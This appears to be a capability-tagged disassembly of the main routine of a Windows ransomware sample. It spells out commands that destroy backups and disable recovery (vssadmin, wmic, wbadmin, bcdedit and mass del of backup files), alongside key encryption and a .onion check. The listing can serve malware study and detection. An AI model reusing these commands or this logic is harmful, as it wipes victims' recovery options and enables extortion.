Function at 0x419f38
Capabilities:
Create thread
Delete volume shadow copies
Delete windows backup catalog
Disable automatic windows recovery features
Empty the recycle bin
Encrypt or decrypt via wincrypt
Manipulate boot configuration
Set registry value
Start service
Stop service
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x1198
call fcn.00476160
push esi
push edi
push str.UTF_8
push 2
call fcn.00446264
pop ecx
pop ecx
xor ecx, ecx
mov dword [esp + 0x50], 1
push 0x104
lea eax, [esp + 0x38c]
mov dword [esp + 0x50], ecx
push eax
push ecx
mov dword [0x4a3098], ecx
mov dword [0x4a3a64], ecx
mov dword [0x4a3a6c], ecx
mov dword [0x4a3090], ecx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [esp + 0x388]
push eax
call edi
lea eax, [esp + eax*2 + 0x388]
add eax, 0xfffffffe
cmp word [eax], 0x5c
jne 0x419fa9
xor ecx, ecx
mov dword [0x4a3a68], 0x497e60
mov word [eax], cx
add eax, 2
mov dword [0x4a3088], eax
xor eax, eax
push eax
push eax
push eax
push 0x419666
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
xor eax, eax
mov dword [esp + 0x44], 7
xor esi, esi
mov word [esp + 0x30], ax
push str.8761ABBD_7F85_42EE_B272_A76179687C63
lea ecx, [esp + 0x34]
mov dword [esp + 0x44], esi
call fcn.0041c3a6
cmp dword [esp + 0x40], esi
je 0x41a03a
cmp dword [esp + 0x44], 8
lea eax, [esp + 0x30]
cmovae eax, dword [esp + 0x30]
push eax
push esi
push 0x1f0001
call dword [sym.imp.KERNEL32.dll_OpenMutexW]
test eax, eax
jne 0x41a03a
cmp dword [esp + 0x44], 8
lea eax, [esp + 0x30]
cmovae eax, dword [esp + 0x30]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
lea ecx, [esp + 0x30]
call fcn.0041c310
and dword [esp + 0x28], esi
lea eax, [esp + 0x28]
push eax
push 8
mov byte [esp + 0x2b], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
push 4
pop esi
test eax, eax
je 0x41a095
and dword [esp + 0x24], 0
lea eax, [esp + 0x2c]
push eax
push esi
lea eax, [esp + 0x2c]
mov dword [esp + 0x34], esi
push eax
push 0x14
push dword [esp + 0x38]
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x41a095
cmp dword [esp + 0x24], 0
setne byte [esp + 0x23]
cmp dword [esp + 0x28], 0
je 0x41a0a6
push dword [esp + 0x28]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [esp + 0x23], 0
jne 0x41a0b2
call fcn.0041829e
lea eax, [esp + 0x24]
push eax
push 0xf003f
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x41a0fc
push esi
lea eax, [esp + 0x30]
mov dword [esp + 0x30], 1
push eax
push esi
push 0
push str.EnableLinkedConnections
push dword [esp + 0x38]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [esp + 0x24]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
and dword [esp + 0x40], 0
lea ecx, [esp + 0x30]
xor eax, eax
mov dword [esp + 0x44], 7
push str.LanmanWorkstation
mov word [esp + 0x34], ax
call fcn.0041c3a6
cmp dword [esp + 0x40], 0
je 0x41a17e
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov esi, eax
test esi, esi
je 0x41a17e
cmp dword [esp + 0x44], 8
lea eax, [esp + 0x30]
push 0x20
cmovae eax, dword [esp + 0x34]
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov edx, eax
test edx, edx
je 0x41a177
push 7
pop ecx
xor eax, eax
lea edi, [esp + 0x6c]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x6c]
push eax
push 1
push edx
call dword [sym.imp.ADVAPI32.dll_ControlService]
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenW]
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
lea ecx, [esp + 0x30]
call fcn.0041c310
and dword [esp + 0x40], 0
lea ecx, [esp + 0x30]
xor eax, eax
mov dword [esp + 0x44], 7
push str.LanmanWorkstation
mov word [esp + 0x34], ax
call fcn.0041c3a6
cmp dword [esp + 0x40], 0
je 0x41a1f3
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov esi, eax
test esi, esi
je 0x41a1f3
cmp dword [esp + 0x44], 8
lea eax, [esp + 0x30]
push 0x10
cmovae eax, dword [esp + 0x34]
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
test eax, eax
je 0x41a1ec
push 0
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
lea ecx, [esp + 0x30]
call fcn.0041c310
mov eax, dword [0x4a3a68]
add eax, 0x4fd2
push eax
call edi
test eax, eax
jle 0x41a36b
call fcn.0041875d
and dword [esp + 0x18], 0
lea ecx, [esp + 8]
xor eax, eax
mov dword [esp + 0x1c], 7
mov word [esp + 8], ax
lea eax, [esp + 0x388]
push eax
call fcn.0041c3a6
lea edx, [esp + 8]
lea ecx, [esp + 0x6c]
call fcn.0041800c
mov esi, eax
lea ecx, [esp + 0x88]
mov eax, dword [0x4a3a68]
add eax, 0x4fd2
push eax
call fcn.0041bbfd
push str._r_n___r_n
push ecx
lea edx, [esp + 0x90]
lea ecx, [esp + 0xf0]
call fcn.0041800c
pop ecx
push eax
lea eax, [esp + 0xd8]
push str.CMD__PowerShell___Done__r_n___r_n
push eax
call fcn.0041c987
add esp, 0xc
push eax
lea eax, [esp + 0xc0]
push eax
call fcn.0041c921
add esp, 0xc
push esi
push eax
lea eax, [esp + 0xa8]
push eax
call fcn.0041c9b5
and dword [esp + 0x70], 0
lea ecx, [esp + 0x60]
add esp, 0xc
mov dword [esp + 0x68], 7
mov esi, eax
xor eax, eax
mov word [esp + 0x54], ax
push str.beforePShell.txt
call fcn.0041c3a6
and dword [esp + 0x40], 0
lea ecx, [esp + 0x30]
xor eax, eax
mov dword [esp + 0x44], 7
push str.C:UsersPublicDesktop_
mov word [esp + 0x34], ax
call fcn.0041c3a6
lea eax, [esp + 0x54]
push esi
push eax
lea edx, [esp + 0x38]
call fcn.00418633
pop ecx
pop ecx
lea ecx, [esp + 0x30]
call fcn.0041c310
lea ecx, [esp + 0x54]
call fcn.0041c310
lea ecx, [esp + 0xa0]
call fcn.0041c51b
lea ecx, [esp + 0xb8]
call fcn.0041c51b
lea ecx, [esp + 0xd0]
call fcn.0041c51b
lea ecx, [esp + 0xe8]
call fcn.0041c51b
lea ecx, [esp + 0x88]
call fcn.0041c310
lea ecx, [esp + 0x6c]
call fcn.0041c51b
lea ecx, [esp + 8]
call fcn.0041c310
mov eax, dword [0x4a3a68]
add eax, 0x5fe6
push eax
call edi
test eax, eax
jne 0x41a381
call fcn.004184d5
push 0x104
lea eax, [esp + 0x184]
xor esi, esi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push ecx
lea edx, [esp + 0x184]
call fcn.00418362
mov eax, dword [0x4a3a68]
pop ecx
add eax, 0x5ffa
push eax
call edi
test eax, eax
jne 0x41a9b2
push str.net_stop_VSS__sc_config_VSS_start_disabled
lea ecx, [esp + 0xc]
mov dword [esp + 0x1c], esi
mov dword [esp + 0x20], 7
mov word [esp + 0xc], ax
call fcn.0041c3a6
lea ecx, [esp + 8]
call fcn.004186e6
lea ecx, [esp + 8]
call fcn.0041c310
xor eax, eax
mov dword [esp + 0x18], esi
push str.sc_config_VSS_start_Demand__net_start_VSS
lea ecx, [esp + 0xc]
mov dword [esp + 0x20], 7
mov word [esp + 0xc], ax
call fcn.0041c3a6
lea ecx, [esp + 8]
call fcn.004186e6
lea ecx, [esp + 8]
call fcn.0041c310
xor eax, eax
mov dword [esp + 0x18], esi
push str.wmic.exe_SHADOWCOPY_delete__nointeractive
lea ecx, [esp + 0xc]
mov dword [esp + 0x20], 7
mov word [esp + 0xc], ax
call fcn.0041c3a6
lea ecx, [esp + 8]
call fcn.004186e6
lea ecx, [esp + 8]
call fcn.0041c310
xor eax, eax
mov dword [esp + 0x18], esi
push str.vssadmin.exe_Delete_Shadows__All__Quiet
lea ecx, [esp + 0xc]
mov dword [esp + 0x20], 7
mov word [esp + 0xc], ax
call fcn.0041c3a6
lea ecx, [esp + 8]
call fcn.004186e6
lea ecx, [esp + 8]
call fcn.0041c310
xor eax, eax
mov dword [esp + 0x18], esi
push str.vssadmin.exe_Resize_ShadowStorage__forc:__onc:__maxsize401MB
lea ecx, [esp + 0xc]
mov dword [esp + 0x20], 7
mov word [esp + 0xc], ax
call fcn.0041c3a6
lea ecx, [esp + 8]
call fcn.004186e6
lea ecx, [esp + 8]
call fcn.0041c310
xor eax, eax
mov dword [esp + 0x18], esi
push str.vssadmin.exe_Resize_ShadowStorage__forc:__onc:__maxsizeunbounded
lea ecx, [esp + 0xc]
mov dword [esp + 0x20], 7
mov word [esp + 0xc], ax
call fcn.0041c3a6
lea ecx, [esp + 8]
call fcn.004186e6
lea ecx, [esp + 8]
call fcn.0041c310
xor eax, eax
mov dword [esp + 0x18], esi
push str.vssadmin.exe_Resize_ShadowStorage__ford:__ond:__maxsize401MB
lea ecx, [esp + 0xc]
mov dword [esp + 0x20], 7
mov word [esp + 0xc], ax
call fcn.0041c3a6
lea ecx, [esp + 8]
call fcn.004186e6
lea ecx, [esp + 8]
call fcn.0041c310
xor eax, eax
mov dword [esp + 0x18], esi
mov dword [esp + 0x1c], 7
mov word [esp + 8], ax
push str.vssadmin.exe_Resize_ShadowStorage__ford:__ond:__maxsizeunbounded
lea ecx, [esp + 0xc]
call fcn.0041c3a6
lea ecx, [esp + 8]
call fcn.004186e6
lea ecx, [esp + 8]
call fcn.0041c310
xor eax, eax
mov dword [esp + 0x18], esi
push str.vssadmin.exe_Resize_ShadowStorage__fore:__one:__maxsize401MB
lea ecx, [esp + 0xc]
mov dword [esp + 0x20], 7
mov word [esp + 0xc], ax
call fcn.0041c3a6
lea ecx, [esp + 8]
call fcn.004186e6
lea ecx, [esp + 8]
call fcn.0041c310
xor eax, eax
mov dword [esp + 0x18], esi
push str.vssadmin.exe_Resize_ShadowStorage__fore:__one:__maxsizeunbounded
lea ecx, [esp + 0xc]
mov dword [esp + 0x20], 7
mov word [esp + 0xc], ax
call fcn.0041c3a6
lea ecx, [esp + 8]
call fcn.004186e6
lea ecx, [esp + 8]
call fcn.0041c310
xor eax, eax
mov dword [esp + 0x18], esi
push str.vssadmin.exe_Resize_ShadowStorage__forf:__onf:__maxsize401MB
lea ecx, [esp + 0xc]
mov dword [esp + 0x20], 7
mov word [esp + 0xc], ax
call fcn.0041c3a6
lea ecx, [esp + 8]
call fcn.004186e6
lea ecx, [esp + 8]
call fcn.0041c310
xor eax, eax
mov dword [esp + 0x18], esi
push str.vssadmin.exe_Resize_ShadowStorage__forf:__onf:__maxsizeunbounded
lea ecx, [esp + 0xc]
mov dword [esp + 0x20], 7
mov word [esp + 0xc], ax
call fcn.0041c3a6
lea ecx, [esp + 8]
call fcn.004186e6
lea ecx, [esp + 8]
call fcn.0041c310
xor eax, eax
mov dword [esp + 0x18], esi
push str.vssadmin.exe_Resize_ShadowStorage__forg:__ong:__maxsize401MB
lea ecx, [esp + 0xc]
mov dword [esp + 0x20], 7
mov word [esp + 0xc], ax
call fcn.0041c3a6
lea ecx, [esp + 8]
call fcn.004186e6
lea ecx, [esp + 8]
call fcn.0041c310
xor eax, eax
mov dword [esp + 0x18], esi
push str.vssadmin.exe_Resize_ShadowStorage__forg:__ong:__maxsizeunbounded
lea ecx, [esp + 0xc]
mov dword [esp + 0x20], 7
mov word [esp + 0xc], ax
call fcn.0041c3a6
lea ecx, [esp + 8]
call fcn.004186e6
lea ecx, [esp + 8]
call fcn.0041c310
xor eax, eax
mov dword [esp + 0x18], esi
push str.vssadmin.exe_Resize_ShadowStorage__forh:__onh:__maxsize401MB
lea ecx, [esp + 0xc]
mov dword [esp + 0x20], 7
mov word [esp + 0xc], ax
call fcn.0041c3a6
lea ecx, [esp + 8]
call fcn.004186e6
lea ecx, [esp + 8]
call fcn.0041c310
xor eax, eax
mov dword [esp + 0x18], esi
push str.vssadmin.exe_Resize_ShadowStorage__forh:__onh:__maxsizeunbounded
lea ecx, [esp + 0xc]
mov dword [esp + 0x20], 7
mov word [esp + 0xc], ax
call fcn.0041c3a6
lea ecx, [esp + 8]
call fcn.004186e6
lea ecx, [esp + 8]
call fcn.0041c310
xor eax, eax
mov dword [esp + 0x18], esi
push str.bcdedit.exe__set_default_recoveryenabled_No
lea ecx, [esp + 0xc]
mov dword [esp + 0x20], 7
mov word [esp + 0xc], ax
call fcn.0041c3a6
lea ecx, [esp + 8]
call fcn.004186e6
lea ecx, [esp + 8]
call fcn.0041c310
xor eax, eax
mov dword [esp + 0x18], esi
push str.bcdedit.exe__set_default_bootstatuspolicy_ignoreallfailures
lea ecx, [esp + 0xc]
mov dword [esp + 0x20], 7
mov word [esp + 0xc], ax
call fcn.0041c3a6
lea ecx, [esp + 8]
call fcn.004186e6
lea ecx, [esp + 8]
call fcn.0041c310
xor eax, eax
mov dword [esp + 0x18], esi
push str.wbadmin.exe_DELETE_CATALOG__quiet
lea ecx, [esp + 0xc]
mov dword [esp + 0x20], 7
mov word [esp + 0xc], ax
call fcn.0041c3a6
lea ecx, [esp + 8]
call fcn.004186e6
lea ecx, [esp + 8]
call fcn.0041c310
xor eax, eax
mov dword [esp + 0x18], esi
push str.icacls.exe__A_Z:___grant_Username:F__T__C__Q
lea ecx, [esp + 0xc]
mov dword [esp + 0x20], 7
mov word [esp + 0xc], ax
call fcn.0041c3a6
lea ecx, [esp + 8]
call fcn.004186e6
lea ecx, [esp + 8]
call fcn.0041c310
xor eax, eax
mov dword [esp + 0x18], esi
push str.del__s__f__q_c:.VHD_c:.bac_c:.bak_c:.wbcat_c:.bkf_c:Backup._c:_backup._c:.set_c:.win_c:.dsk
lea ecx, [esp + 0xc]
mov dword [esp + 0x20], 7
mov word [esp + 0xc], ax
call fcn.0041c3a6
lea ecx, [esp + 8]
call fcn.004186e6
lea ecx, [esp + 8]
call fcn.0041c310
xor eax, eax
mov dword [esp + 0x18], esi
push str.del__s__f__q_d:.VHD_d:.bac_d:.bak_d:.wbcat_d:.bkf_d:Backup._d:_backup._d:.set_d:.win_d:.dsk
lea ecx, [esp + 0xc]
mov dword [esp + 0x20], 7
mov word [esp + 0xc], ax
call fcn.0041c3a6
lea ecx, [esp + 8]
call fcn.004186e6
lea ecx, [esp + 8]
call fcn.0041c310
mov dword [esp + 0x18], esi
mov dword [esp + 0x1c], 7
xor eax, eax
lea ecx, [esp + 8]
push str.del__s__f__q_e:.VHD_e:.bac_e:.bak_e:.wbcat_e:.bkf_e:Backup._e:_backup._e:.set_e:.win_e:.dsk
mov word [esp + 0xc], ax
call fcn.0041c3a6
lea ecx, [esp + 8]
call fcn.004186e6
lea ecx, [esp + 8]
call fcn.0041c310
xor eax, eax
mov dword [esp + 0x18], esi
push str.del__s__f__q_f:.VHD_f:.bac_f:.bak_f:.wbcat_f:.bkf_f:Backup._f:_backup._f:.set_f:.win_f:.dsk
lea ecx, [esp + 0xc]
mov dword [esp + 0x20], 7
mov word [esp + 0xc], ax
call fcn.0041c3a6
lea ecx, [esp + 8]
call fcn.004186e6
lea ecx, [esp + 8]
call fcn.0041c310
xor eax, eax
mov dword [esp + 0x18], esi
push str.del__s__f__q_g:.VHD_g:.bac_g:.bak_g:.wbcat_g:.bkf_g:Backup._g:_backup._g:.set_g:.win_g:.dsk
lea ecx, [esp + 0xc]
mov dword [esp + 0x20], 7
mov word [esp + 0xc], ax
call fcn.0041c3a6
lea ecx, [esp + 8]
call fcn.004186e6
lea ecx, [esp + 8]
call fcn.0041c310
xor eax, eax
mov dword [esp + 0x18], esi
push str.del__s__f__q_h:.VHD_h:.bac_h:.bak_h:.wbcat_h:.bkf_h:Backup._h:_backup._h:.set_h:.win_h:.dsk
lea ecx, [esp + 0xc]
mov dword [esp + 0x20], 7
mov word [esp + 0xc], ax
call fcn.0041c3a6
lea ecx, [esp + 8]
call fcn.004186e6
lea ecx, [esp + 8]
call fcn.0041c310
xor eax, eax
mov dword [esp + 0x18], esi
push str.del__0
lea ecx, [esp + 0xc]
mov dword [esp + 0x20], 7
mov word [esp + 0xc], ax
call fcn.0041c3a6
lea ecx, [esp + 8]
call fcn.004186e6
lea ecx, [esp + 8]
call fcn.0041c310
xor eax, eax
mov dword [esp + 0x18], esi
push str.wbadmin.exe_DELETE_SYSTEMSTATEBACKUP
lea ecx, [esp + 0xc]
mov dword [esp + 0x20], 7
mov word [esp + 0xc], ax
call fcn.0041c3a6
lea ecx, [esp + 8]
call fcn.004186e6
lea ecx, [esp + 8]
call fcn.0041c310
xor eax, eax
mov dword [esp + 0x18], esi
push str.wbadmin.exe_DELETE_SYSTEMSTATEBACKUP__deleteoldest
lea ecx, [esp + 0xc]
mov dword [esp + 0x20], 7
mov word [esp + 0xc], ax
call fcn.0041c3a6
lea ecx, [esp + 8]
call fcn.004186e6
lea ecx, [esp + 8]
call fcn.0041c310
xor eax, eax
mov dword [esp + 0x18], esi
mov dword [esp + 0x1c], 7
lea ecx, [esp + 8]
mov word [esp + 8], ax
push str.powershell__command__Get_WmiObject_Win32_Shadowcopy__ForEach_Object___.Delete____
call fcn.0041c3a6
lea ecx, [esp + 8]
call fcn.004186e6
lea ecx, [esp + 8]
call fcn.0041c310
mov eax, dword [0x4a3a68]
add eax, 0x600e
push eax
call edi
test eax, eax
jne 0x41a9cf
push 7
push eax
push eax
call dword [sym.imp.SHELL32.dll_SHEmptyRecycleBinW]
xor esi, esi
call fcn.004195cb
call fcn.00419505
mov eax, dword [0x4a3a68]
add eax, 0x4dca
push eax
call edi
test eax, eax
setg byte [esp + 0x23]
test eax, eax
jle 0x41aa30
mov eax, dword [0x4a3a68]
push str..onion
add eax, 0x4dca
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
je 0x41aa1f
push esi
call dword [sym.imp.ole32.dll_CoInitialize]
mov dword [esp + 0x50], eax
call fcn.00419e22
mov dword [esp + 0x4c], eax
mov ecx, dword [0x4a3a68]
add ecx, 0x4dca
call fcn.004199be
lea ecx, [esp + 0x100]
call fcn.00435150
push 0x20
push esi
lea ecx, [esp + 0x108]
mov dword [esp + 0x108], vtable.CryptoPP::AutoSeededRandomPool.0
call fcn.004293c0
push dword [0x49dea4]
lea ecx, [esp + 0x104]
push dword [0x49dea8]
call fcn.00421e60
call fcn.00401747
mov dword [esp + 0x2c], eax
test eax, eax
je 0x41abc8
mov ecx, dword [0x4a3a68]
xor esi, esi
and dword [esp + 0x24], 0
add ecx, 0x4590
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
jle 0x41ab08
mov edi, dword [esp + 0x24]
mov ecx, dword [0x4a3a68]
movsx eax, byte [esi + ecx + 0x4591]
push eax
movsx eax, byte [esi + ecx + 0x4590]
push eax
push str._c_c
lea eax, [esp + 0x34]
push 3
push eax
call fcn.00402aef
add esp, 0x14
lea eax, [esp + 0x28]
push 0x10
push 0
push eax
call fcn.0044a72d
mov byte [esp + edi + 0x9ac], al
add esp, 0xc
mov eax, dword [0x4a3a68]
inc edi
add eax, 0x4590
add esi, 2
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp esi, eax
jl 0x41aaa1
mov dword [esp + 0x24], edi
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [esp + 0x48]
push eax
push 0
push 0
push dword [esp + 0x30]
lea eax, [esp + 0x9b0]
push eax
push dword [esp + 0x40]
call dword [sym.imp.ADVAPI32.dll_CryptImportKey]
test eax, eax
je 0x41abbc
mov esi, dword [0x49dea4]
lea eax, [esp + 0x180]
push esi
push dword [0x49dea8]
push eax
call fcn.0043c8c0
add esp, 0xc
mov dword [esp + 0x24], esi
lea eax, [esp + 0x24]
push 0x100
push eax
lea eax, [esp + 0x188]
push eax
push 0
push 1
push 0
push dword [esp + 0x60]
call dword [sym.imp.ADVAPI32.dll_CryptEncrypt]
test eax, eax
je 0x41abb2
xor esi, esi
cmp dword [esp + 0x24], esi
jbe 0x41abb2
movzx eax, byte [esp + esi + 0x180]
push eax
push str._02x
lea eax, [esp + 0x30]
push 3
push eax
call fcn.00402aef
add esp, 0x10
lea eax, [esp + 0x28]
push eax
push 0x4a3a70
call dword [sym.imp.KERNEL32.dll_lstrcatA]
inc esi
cmp esi, dword [esp + 0x24]
jb 0x41ab7e
push dword [esp + 0x48]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
push 0
push dword [esp + 0x30]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
call fcn.00419d77
mov eax, dword [0x4a3a68]
add eax, 0xc8
push eax
lea eax, [esp + 0x38c]
push eax
push str._s_s
lea eax, [esp + 0x59c]
push 0x208
push eax
call fcn.00402b62
push ecx
lea eax, [esp + 0x5a8]
mov ecx, esp
push eax
call fcn.0041bbfd
call fcn.00418c73
add esp, 0x18
call fcn.0041901c
cmp byte [esp + 0x23], 0
je 0x41ac60
mov ecx, dword [0x4a3a68]
lea ecx, [ecx + 0x4dca]
call fcn.00419b0a
mov ecx, dword [0x4a3090]
test ecx, ecx
je 0x41ac3b
call fcn.00401615
mov esi, dword [esp + 0x4c]
test esi, esi
je 0x41ac53
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [esp + 0x50], 0
jne 0x41ac60
call dword [sym.imp.ole32.dll_CoUninitialize]
mov eax, dword [0x4a3a68]
add eax, 0x57d2
push eax
call edi
test eax, eax
jle 0x41aca5
and dword [esp + 0x18], 0
lea ecx, [esp + 8]
xor eax, eax
mov dword [esp + 0x1c], 7
push str.start_chrome__incognito
mov word [esp + 0xc], ax
call fcn.0041c3a6
lea ecx, [esp + 8]
call fcn.004186e6
lea ecx, [esp + 8]
call fcn.0041c310
call fcn.00419481
lea ecx, [esp + 0x100]
mov dword [esp + method.CryptoPP::AutoSeededRandomPool.virtual_0], vtable.CryptoPP::AutoSeededRandomPool.0
call fcn.004032b9
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret 0x10